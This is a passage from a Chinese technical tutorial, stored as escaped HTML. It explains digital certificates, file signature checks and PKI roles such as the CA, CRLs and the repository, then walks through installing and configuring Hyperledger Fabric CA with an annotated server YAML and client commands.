&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;digital-certificate-ca&#x2F;browser-certificate-warning.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;digital-certificate-ca&#x2F;browser-cert-warning.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;大多数知名的网站，如果用了 HTTPS 协议，其证书都是可信的（也就不会出现上述警告）。所以，今后你如果上某个知名网站，发现浏览器跳出上述警告，你就要小心啦！&lt;&#x2F;p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;验证某文件是否可信（是否被篡改）&lt;&#x2F;strong&gt;
证书除了可以用来验证某个网站，还可以用来验证某个文件是否被篡改。具体是通过证书来制作文件的数字签名。制作数字签名的过程太专业，咱就不说了。后面专门告诉大家如何验证文件的数字签名。考虑到大多数人用 Windows 系统，俺就拿 Windows 的例子来说事儿。
比如，俺手头有一个 Google Chrome的安装文件（带有数字签名）。当俺查看该文件的属性，会看到如下的界面。眼神好的同学，会注意到到上面有个“&lt;strong&gt;数字签名&lt;&#x2F;strong&gt;”的标签页。如果没有出现这个标签页，就说明该文件没有附带数字签名。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;digital-certificate-ca&#x2F;chrome-installer-digital-signature.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;一般来说，签名列表中，有且仅有一个签名。选中它，点“&lt;strong&gt;详细信息&lt;&#x2F;strong&gt;”按钮。跳出如下界面：&lt;&#x2F;p&gt;
&lt;p&gt;通常这个界面会显示一行字：“&lt;strong&gt;该数字签名正常&lt;&#x2F;strong&gt;”（图中红圈标出）。如果有这行字，就说明该文件从出厂到你手里，中途没有被篡改过（是原装滴、是纯洁滴）。如果该文件被篡改过了（比如，感染了病毒、被注入木马），那么对话框会出现一个警告提示“&lt;strong&gt;该数字签名无效&lt;&#x2F;strong&gt;”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;![&amp;gt;    &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%95%B0%E5%AD%97%E8%AF%81%E4%B9%A6%E5%8F%8Aca%E8%AF%A6%E8%A7%A3&#x2F;assets&#x2F;20190830160830910-20241228132742-e54ga1m.png&quot;&gt;外链图片转存失败(img-nTQSfNiK-1567152270924)(assets&#x2F;1533294414623.png)]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;不论签名是否正常，你都可以点“查看证书”按钮。这时候，会跳出证书的对话框。如下：&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;![&amp;gt;    &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E6%95%B0%E5%AD%97%E8%AF%81%E4%B9%A6%E5%8F%8Aca%E8%AF%A6%E8%A7%A3&#x2F;assets&#x2F;20190830160852377-20241228132742-hw9wvnv.png&quot;&gt;外链图片转存失败(img-n5p5986M-1567152270925)(assets&#x2F;1533294685323.png)]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;digital-certificate-ca&#x2F;certificate-trust-chain.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;从后一个界面，可以看到刚才说的证书信任链。图中的信任链有3层：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;第1层是根证书（verisign）。&lt;&#x2F;li&gt;
&lt;li&gt;第2层是 symantec 专门用来签名的证书。&lt;&#x2F;li&gt;
&lt;li&gt;第3层是 Google自己的证书。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;目前大多数知名的公司（或组织机构），其发布的可执行文件（比如软件安装包、驱动程序、安全补丁），都带有数字签名。你可以自己去看一下。&lt;&#x2F;p&gt;
&lt;p&gt;建议大伙儿在安装软件之前，都先看看是否有数字签名？如果有，就按照上述步骤验证一把。一旦数字签名是坏的，那可千万别装。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;1-3-gong-yao-ji-chu-she-shi-pki&quot;&gt;1.3 公钥基础设施（PKI）&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;仅制定证书的规范还不足以支持公钥的实际运用，我们还需要很多其他的规范，例如证书应该由谁来颁发，如何颁发，私钥泄露时应该如何作废证书，计算机之间的数据交换应采用怎样的格式等。这一节我们将介绍能够使公钥的运用更加有效的公钥基础设施。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;1-3-1-shen-me-shi-gong-yao-ji-chu-she-shi&quot;&gt;1.3.1 什么是公钥基础设施&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;公钥基础设施（Public-Key infrastructure）是为了能够更有效地运用公钥而制定的一系列规范和规格的总称。公钥基础设施一般根据其英语缩写而简称为PKI。&lt;&#x2F;p&gt;
&lt;p&gt;PKI只是一个总称，而并非指某一个单独的规范或规格。例如，RSA公司所制定的PKCS（Public-Key Cryptography Standards，公钥密码标准）系列规范也是PKI的一种，而互联网规格RFC（Requestfor Comments）中也有很多与PKI相关的文档。此外，X.509这样的规范也是PKI的一种。在开发PKI程序时所使用的由各个公司编写的API（Application Programming Interface, 应用程序编程接口）和规格设计书也可以算是PKI的相关规格。&lt;&#x2F;p&gt;
&lt;p&gt;因此，根据具体所采用的规格，PKI也会有很多变种，这也是很多人难以整体理解PKI的原因之一。&lt;&#x2F;p&gt;
&lt;p&gt;为了帮助大家整体理解PKI,我们来简单总结一下PKI的基本组成要素（用户、认证机构、仓库）以及认证机构所负责的工作。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;1-3-2-pkide-zu-cheng-yao-su&quot;&gt;1.3.2 PKI的组成要素&lt;&#x2F;h4&gt;
&lt;p&gt;PKI的组成要素主要有以下三个：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用户 — 使用PKI的人&lt;&#x2F;li&gt;
&lt;li&gt;认证机构 — 颁发证书的人&lt;&#x2F;li&gt;
&lt;li&gt;仓库 — 保存证书的数据库&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;digital-certificate-ca&#x2F;pki-components.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;yong-hu&quot;&gt;用户&lt;&#x2F;h5&gt;
&lt;blockquote&gt;
&lt;p&gt;用户就是像Alice、Bob这样使用PKI的人。用户包括两种：一种是希望使用PKI注册自己的公钥的人，另一种是希望使用已注册的公钥的人。我们来具体看一下这两种用户所要进行的操作。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;注册公钥的用户所进行的操作&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;生成密钥对（也可以由认证机构生成）&lt;&#x2F;li&gt;
&lt;li&gt;在认证机构注册公钥&lt;&#x2F;li&gt;
&lt;li&gt;向认证机构申请证书&lt;&#x2F;li&gt;
&lt;li&gt;根据需要申请作废已注册的公钥&lt;&#x2F;li&gt;
&lt;li&gt;解密接收到的密文&lt;&#x2F;li&gt;
&lt;li&gt;对消息进行数字签名&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用已注册公钥的用户所进行的操作&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将消息加密后发送给接收者&lt;&#x2F;li&gt;
&lt;li&gt;验证数字签名&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&amp;#x2F;*
==================== 小知识点 ====================
浏览器如何验证SSL证书
1. 在IE浏览器的菜单中点击“工具 &amp;#x2F;Internet选项”，选择“内容”标签，点击“证书”按钮，然后就可以看到IE
   浏览器已经信任了许多“中级证书颁发机构”和“受信任的根证书颁发机 构。当我们在访问该网站时，浏览器
   就会自动下载该网站的SSL证书，并对证书的安全性进行检查。
2. 由于证书是分等级的，网站拥有者可能从根证书颁发机构领到证书，也可能从根证书的下一级（如某个国家
   的认证中心，或者是某个省发出的证书）领到证书。假设我们正在访问某个使用 了 SSL技术的网站，IE浏
   览器就会收到了一个SSL证书，如果这个证书是由根证书颁发机构签发的，IE浏览器就会按照下面的步骤来
   检查：浏览器使用内 置的根证书中的公钥来对收到的证书进行认证，如果一致，就表示该安全证书是由可信
   任的颁证机构签发的，这个网站就是安全可靠的；如果该SSL证书不是根服 务器签发的，浏览器就会自动检
   查上一级的发证机构，直到找到相应的根证书颁发机构，如果该根证书颁发机构是可信的，这个网站的SSL证
   书也是可信的。
*&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;ren-zheng-ji-gou-ca&quot;&gt;认证机构（CA）&lt;&#x2F;h5&gt;
&lt;blockquote&gt;
&lt;p&gt;认证机构（Certification Authority，CA）是对证书进行管理的人。上面的图中我们给它起了一个名字叫作Trent。认证机构具体所进行的操作如下：&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;生成密钥对 (也可以由用户生成)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;生成密钥对有两种方式：一种是由PKI用户自行生成，一种是由认证机构来生成。在认证机构生成用户密钥对的情况下，认证机构需要将私钥发送给用户，这时就需要使用PKCS#12（Personal Information Exchange Syntax Standard）等规范。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在注册公钥时对本人身份进行认证, 生成并颁发证书&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在用户自行生成密钥对的情况下，用户会请求认证机构来生成证书。申请证书时所使用的规范是由PKCS#10（Certification Request Syntax Standard）定义的。&lt;&#x2F;p&gt;
&lt;p&gt;认证机构根据其认证业务准则（Certification Practice Statement，CPS）对用户的身份进行认证，并生成证书。在生成证书时，需要使用认证机构的私钥来进行数字签名。生成的证书格式是由PKCS#6 （Extended-Certificate Syntax Standard）和 X.509定义的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;作废证书&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;当用户的私钥丢失、被盗时，认证机构需要对证书进行作废（revoke）。此外，即便私钥安然无恙，有时候也需要作废证书，例如用户从公司离职导致其失去私钥的使用权限，或者是名称变更导致和证书中记载的内容不一致等情况。&lt;&#x2F;p&gt;
&lt;p&gt;纸质证书只要撕毁就可以作废了，但这里的证书是数字信息，即便从仓库中删除也无法作废，因为用户会保存证书的副本，但认证机构又不能人侵用户的电脑将副本删除。&lt;&#x2F;p&gt;
&lt;p&gt;要作废证书，认证机构需要制作一张证书==&lt;strong&gt;作废清单（Certificate Revocation List),简称为CRL&lt;&#x2F;strong&gt;==。&lt;&#x2F;p&gt;
&lt;p&gt;CRL是认证机构宣布作废的证书一览表，具体来说，是一张已作废的证书序列号的清单，并由认证机构加上数字签名。证书序列号是认证机构在颁发证书时所赋予的编号，在证书中都会记载。&lt;&#x2F;p&gt;
&lt;p&gt;PKI用户需要从认证机构获取最新的CRL,并查询自己要用于验证签名（或者是用于加密）的公钥证书是否已经作废这个步骤是非常重要的。&lt;&#x2F;p&gt;
&lt;p&gt;假设我们手上有Bob的证书，该证书有合法的认证机构签名，而且也在有效期内，但仅凭这些还不能说明该证书一定是有效的，还需要查询认证机构最新的CRL，并确认该证书是否有效。一般来说，这个检查不是由用户自身来完成的，而是应该由处理该证书的软件来完成，但有很多软件并没有及时更能CRL。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;认证机构的工作中，公钥注册和本人身份认证这一部分可以由注册机构（Registration Authority，RA) 来分担。这样一来，认证机构就可以将精力集中到颁发证书上，从而减轻了认证机构的负担。不过，引入注册机构也有弊端，比如说认证机构需要对注册机构本身进行认证，而且随着组成要素的增加，沟通过程也会变得复杂，容易遭受攻击的点也会增。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h5 id=&quot;cang-ku&quot;&gt;仓库&lt;&#x2F;h5&gt;
&lt;blockquote&gt;
&lt;p&gt;仓库（repository）是一个保存证书的数据库，PKI用户在需要的时候可以从中获取证书．它的作用有点像打电话时用的电话本。在本章开头的例子中，尽管没特别提到，但Alice获取Bob的证书时，就可以使用仓库。仓库也叫作证书目录。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;1-3-3-ge-chong-ge-yang-de-pki&quot;&gt;1.3.3 各种各样的PKI&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;公钥基础设施（PKI）这个名字总会引起一些误解，比如说“面向公众的权威认证机构只有一个&quot;，或者“全世界的公钥最终都是由一个根CA来认证的&quot;，其实这些都是不正确的。认证机构只要对公钥进行数字签名就可以了，因此任何人都可以成为认证机构，实际上世界上已经有无数个认证机构了。&lt;&#x2F;p&gt;
&lt;p&gt;国家、地方政府、医院、图书馆等公共组织和团体可以成立认证机构来实现PKI,公司也可以出于业务需要在内部实现PKI,甚至你和你的朋友也可以以实验为目的来构建PKI。&lt;&#x2F;p&gt;
&lt;p&gt;在公司内部使用的情况下，认证机构的层级可以像上一节中一样和公司的组织层级一一对应，也可以不一一对应。例如，如果公司在东京、大阪、北海道和九州都成立了分公司，也可以采取各个分公司之间相互认证的结构。在认证机构的运营方面，可以购买用于构建PKI的软件产品由自己公司运营，也可以使用VeriSign等外部认证服务。具体要采取怎样的方式，取决于目的和规模，并没有一定之规。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;2-fabric-ca&quot;&gt;2.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=Fabric&quot;&gt;Fabric&lt;&#x2F;a&gt; - ca&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-jian-jie&quot;&gt;2.1 简介&lt;&#x2F;h3&gt;
&lt;p&gt;Fabric CA项目是超级账本Fabric内的MemberService组件, 对网络内各个实体的身份证书的管理, 主要实现:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;负责Fabric网络内所有实体(Identity)的身份管理, 包括身份的注册、注销等&lt;&#x2F;li&gt;
&lt;li&gt;服务端支持基于客户端命令行的RESTful API的交互方式&lt;&#x2F;li&gt;
&lt;li&gt;负责证书管理, 包括ECerts(身份证书)、TCerts(交易证书)等的发放和注销
Fabric CA采用Go语言进行编写&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在fabric-ca中的三种证书类型&lt;&#x2F;p&gt;
&lt;p&gt;1.登记证书（ECert）:对实体身份进行检验&lt;&#x2F;p&gt;
&lt;p&gt;2.通信证书（TLSCert）:保证通信链路安全，对远端身份校验&lt;&#x2F;p&gt;
&lt;p&gt;3.交易证书（TCert）:颁发给用户，控制每个交易的权限&lt;&#x2F;p&gt;
&lt;p&gt;下图描述了CA 服务器在Fabric 框架体系架构中的工作方式:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;digital-certificate-ca&#x2F;fabric-ca-server-architecture.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;CA 服务器结构为树形结构，整个树形结构的根节点为根CA（Root Server），存在多个中间CA（Intermediate CA），图中每个中间CA服务器上可以配置一个CA服务集群，CA服务集群通过前置的HA实现负载均衡。&lt;&#x2F;p&gt;
&lt;p&gt;Fabric CA提供了两种访问方式调用Server服务，一种是通过Client调用，另一种是通过SDK调用。两种调用都是REST风格的。本文使用的是通过Client调用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-ji-ben-zu-jian&quot;&gt;2.2 基本组件&lt;&#x2F;h3&gt;
&lt;p&gt;Fabric CA采用了典型的C&#x2F;S架构， 目前包含两个基本组件， 分别实现服务端功能和客户端功能&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;服务端: fabric-ca-server实现核心的PKI(Public Key Infrastructure: 公钥基础设施)服务功能， 支持多种数据库后台(包括SQlite3、MySQL、PostgreSQL等), 并支持集成LDAP用为用户注册管理功能&lt;&#x2F;li&gt;
&lt;li&gt;客户端: fabric-ca-client封装了服务端的RESTful API, 提供访问服务端的命令, 供用户与服务端进行交互&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-3-an-zhuang&quot;&gt;2.3 安装&lt;&#x2F;h3&gt;
&lt;p&gt;安装服务端与客户端二进制命令到$GOPATH&#x2F;bin目录下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;$ go get -u github.com&amp;#x2F;hyperledger&amp;#x2F;fabric-ca&amp;#x2F;cmd&amp;#x2F;...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;切换至源码目录下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;$ cd $GOPATH&amp;#x2F;src&amp;#x2F;github.com&amp;#x2F;hyperledger&amp;#x2F;fabric-ca&amp;#x2F;1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用make命令编译：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;$ make fabric-ca-server
$ make fabric-ca-client
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成 &lt;code&gt;bin&lt;&#x2F;code&gt; 目录, 目录中包含 &lt;code&gt;fabric-ca-client&lt;&#x2F;code&gt; 与 &lt;code&gt;fabric-ca-server&lt;&#x2F;code&gt; 两个可执行文件&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-4-chu-shi-hua-kuai-su-qi-dong&quot;&gt;2.4 初始化&amp;amp;快速启动&lt;&#x2F;h3&gt;
&lt;p&gt;返回至用户目录&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;1.$ cd ~
2.$ mkdir fabric-ca
3.$ cd fabric-ca
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;fabric-ca启动:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;1. 使用init进行初始化
2. 使用start启动
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;初始化&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;$ fabric-ca-server init -b admin:pass
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成配置文件到至当前目录&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;fabric-ca-server-config.yaml: 默认配置文件&lt;&#x2F;li&gt;
&lt;li&gt;ca-cert.pem: PEM格式的CA证书文件, 自签名&lt;&#x2F;li&gt;
&lt;li&gt;fabric-ca-server.db: 存放数据的sqlite数据库&lt;&#x2F;li&gt;
&lt;li&gt;msp&#x2F;keystore&#x2F;: 路径下存放个人身份的私钥文件(_sk文件), 对应签名证书&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;快速启动并初始化一个fabric-ca-server服务&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;$ fabric-ca-server start -b admin:pass
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;-b : 提供注册用户的名称与密码, 如果没有使用LDAP, 这个选项为必需. 默认的配置文件的名称为fabric-ca-server-config.yaml&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果之前没有执行初始化命令, 则启动过程中会自动先进行初始化操作. 即从主配置目录搜索相关证书和配置文件, 如果不存在则会自动生成&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-5-fu-wu-duan-pei-zhi-wen-jian-jie-xi&quot;&gt;2.5 服务端配置文件解析&lt;&#x2F;h3&gt;
&lt;p&gt;fabric-ca-server-config.yaml配置文件包括通用配置, TLS配置, CA配置, 注册管理配置, 数据库配置, LDAP配置, 组织结构配置, 签名, 证书申请等几部分&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;version: 1.1.1-snapshot-e656889
port: 7054              # 指定服务的监听端口
debug: false            # 是否启用DEBUG模式, 输出更多的调试信息上
crlsizelimit: 512000

# 是否在服务端启用TLS,如果启用TLS后进行身份验证的证书和签名的私钥
tls:
  enabled: false        # 是否启用TLS, 默认不启用
  certfile:         # TLS证书文件
  keyfile:          # TLS密钥文件
  clientauth:   # 客户端验证配置
    type: noclientcert      # 默认不进行身份验证
    certfiles:      # 进行客户端身份验证时, 信任的证书文件列表

# 包括实例的名称、签名私钥文件、身份验证证书和证书链文件；这些私钥和证书文件会用来作为生成ECert、TCert的根证书
ca:
  name:         # CA服务名称. 可以支持多个服务
  keyfile:      # 密钥文件(默认: ca-key.pem)
  certfile:     # 证书文件(默认: ca-cert.pem)
  chainfile:    # 证书链文件(默认: chain-cert.pem)

crl:
  expiry: 24h

# 当fabric-ca-server自身提供用户的注册管理时使用, 此情况下需要禁用LDAP功能, 否则fabric-ca-server将会把注册管理数据转发到LDAP进行查询
registry:
  # 允许同一个用户名和密码进行enrollment的最大次数, -1为无限制, 0为不支持登记
  maxenrollments: -1
  identities:   # 注册的实体信息, 可以进行enroll. 只有当LDAP未启用时起作用
     - name: admin
       pass: adminpw
       type: client
       affiliation: &amp;quot;&amp;quot;
       attrs:
          hf.Registrar.Roles: &amp;quot;peer,orderer,client,user&amp;quot;
          hf.Registrar.DelegateRoles: &amp;quot;peer,orderer,client,user&amp;quot;
          hf.Revoker: true
          hf.IntermediateCA: true       # 该id是否是一个中间层的CA
          hf.GenCRL: true
          hf.Registrar.Attributes: &amp;quot;*&amp;quot;
          hf.AffiliationMgr: true

# 数据库支持SQLite3、MySQL、Postgres. 默认为SQLite3类型的本地数据库. 如果要配置集群, 则需要选用MySQL或Postgres后端数据库, 并在前端部署负载均衡器(如Nginx或HAProxy)
db:
  type: sqlite3
  datasource: fabric-ca-server.db       # SQLite3文件路径
  tls:
      enabled: false    # 是否启用TLS来连接到数据库
      certfiles:        # PEM格式的数据库服务器的TLS根证书, 可以指定多个, 用逗号隔开
      client:
        certfile:       # PEM格式的客户端证书文件
        keyfile:        # PEM格式的客户端证书私钥文件

# 配置使用远端的LDAP来进行注册管理, 认证enrollment的用户和密码, 并获取用户属性信息. 此时, 服务端将按照指定的usrfilter从LDAP获取对应的用户, 利用其唯一识别名(distinguidhed name)和给定的密码进行验证.
# 当LDAP功能启用时, registry中的配置将被忽略
ldap:
   enabled: false   # 是否启用LDAP, 默认不启用
   url: ldap:&amp;#x2F;&amp;#x2F;&amp;lt;adminDN&amp;gt;:&amp;lt;adminPassword&amp;gt;@&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;&amp;#x2F;&amp;lt;base&amp;gt;   # LDAP的服务地址
   tls:
      certfiles:    # PEM格式的LDAP服务器的TLS根证书, 可以为多个, 用逗号隔开
      client:
         certfile:  # PEM格式的客户端证书文件
         keyfile:   # PEM格式的客户端证书私钥文件
   attribute:
      names: [&amp;#x27;uid&amp;#x27;,&amp;#x27;member&amp;#x27;]
      converters:
         - name:
           value:
      maps:
         groups:
            - name:
              value:

# 组织结构配置
affiliations:
   org1:
      - department1
      - department2
   org2:
      - department1

# 签发证书相关的配置包括签名方法、证书超时时间等. fabric-ca-server可以作为用户证书的签发CA(默认情况下), 也可以作为根CA来进一步支持其它中间CA
signing:
    default:    # 默认情况下,用于签署Ecert
      usage:    # 所签发证书的KeyUsage extension域
        - digital signature
      expiry: 8760h
    profiles:   # 不同的签发配置
      ca:   # 签署中间层CA证书时的配置模板
         usage:
           - cert sign  # 所签发证书的KeyUsage extension域
           - crl sign
         expiry: 43800h
         caconstraint:
           isca: true
           maxpathlen: 0    # 限制该中间层CA无法进一步签署中间层CA
      tls:
         usage:
            - signing
            - key encipherment
            - server auth
            - client auth
            - key agreement
         expiry: 8760h

# CA自身证书的申请请求配置. 当CA作为根证书服务时, 将基于请求生成一个自签名的证书; 当CA作为中间证书服务时, 将请求发送给上层的根证书进行签署
csr:
   cn: fabric-ca-server     # 建议与服务器名一致
   names:
      - C: US
        ST: &amp;quot;North Carolina&amp;quot;
        L:
        O: Hyperledger
        OU: Fabric
   hosts:
     - kevin-hf
     - localhost
   ca:      # 配置后会加入到证书的扩展字段
      expiry: 131400h       # 超时时间
      pathlength: 1         # 允许产生的中间证书的深度

# 配置所选择的加密库
bccsp:
    default: SW
    sw:
        hash: SHA2
        security: 256
        filekeystore:
            keystore: msp&amp;#x2F;keystore      # 存放密钥文件的路径

# 自动创建除了默认CA外的多个CA实例, 如ca1、ca2等
cacount:

# 可以指定多个CA配置文件路径, 每个配置文件会启动一个CA服务,注意不同配置文件之间需要避免出现冲突(如服务端口、TLS证书等)
cafiles:

# 当CA作为中间层CA服务时的相关配置. 包括父CA的地址和名称、登记信息、TLS配置等.
# 注意: 当intermediate.parentserver.url非空时, 意味着本CA是中间层CA服务,否则为根CA服务
intermediate:
  parentserver:     # 父CA相关信息
    url:
    caname:

  enrollment:       # 在父CA侧的登记信息
    hosts:          # 证书主机名列表
    profile:        # 签发所用的profile
    label:          # HSM操作中的标签信息

  tls:      # TLS相关配置
    certfiles:      # 信任的根CA证书
    client:         # 客户端验证启用时的相关文件
      certfile:
      keyfile:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-6-ke-hu-duan-ming-ling-jie-xi&quot;&gt;2.6 客户端命令解析&lt;&#x2F;h3&gt;
&lt;p&gt;fabric-ca-client命令可以与服务端进行交互, 包括五个子命令:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;enroll: 登录获取ECert&lt;&#x2F;li&gt;
&lt;li&gt;getcacert: 获取CA服务的证书链&lt;&#x2F;li&gt;
&lt;li&gt;reenroll: 再次登录&lt;&#x2F;li&gt;
&lt;li&gt;register: 注册用户实体&lt;&#x2F;li&gt;
&lt;li&gt;revoke: 吊销签发的实体证书&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;CRL 验证&lt;&#x2F;p&gt;
&lt;p&gt;CRL 一般用于数字证书有效性的验证，当执行revoke 操作后会生成CRL证书作废列表&lt;&#x2F;p&gt;
&lt;p&gt;CRL 是经过CA签名的证书作废列表，用于证书冻结和撤销&lt;&#x2F;p&gt;
&lt;p&gt;一般证书会有CRL地址，供HTTP或者LDAP方式访问，通过解析可得到CRL地址，然后下载CRL 进行验证&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;CRL 会自动更新，并不是生成后不改变的&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;2-7-cha-kan-akihe-xu-lie-hao&quot;&gt;2.7 查看AKI和序列号&lt;&#x2F;h3&gt;
&lt;p&gt;AKI: 公钥标识号, 代表了对该证书进行签发机构的身份&lt;&#x2F;p&gt;
&lt;p&gt;查看根证书的AKI与序列号信息:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;$ openssl x509 -in .fabric-ca-client&amp;#x2F;msp&amp;#x2F;signcerts&amp;#x2F;cert.pem -text -noout
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
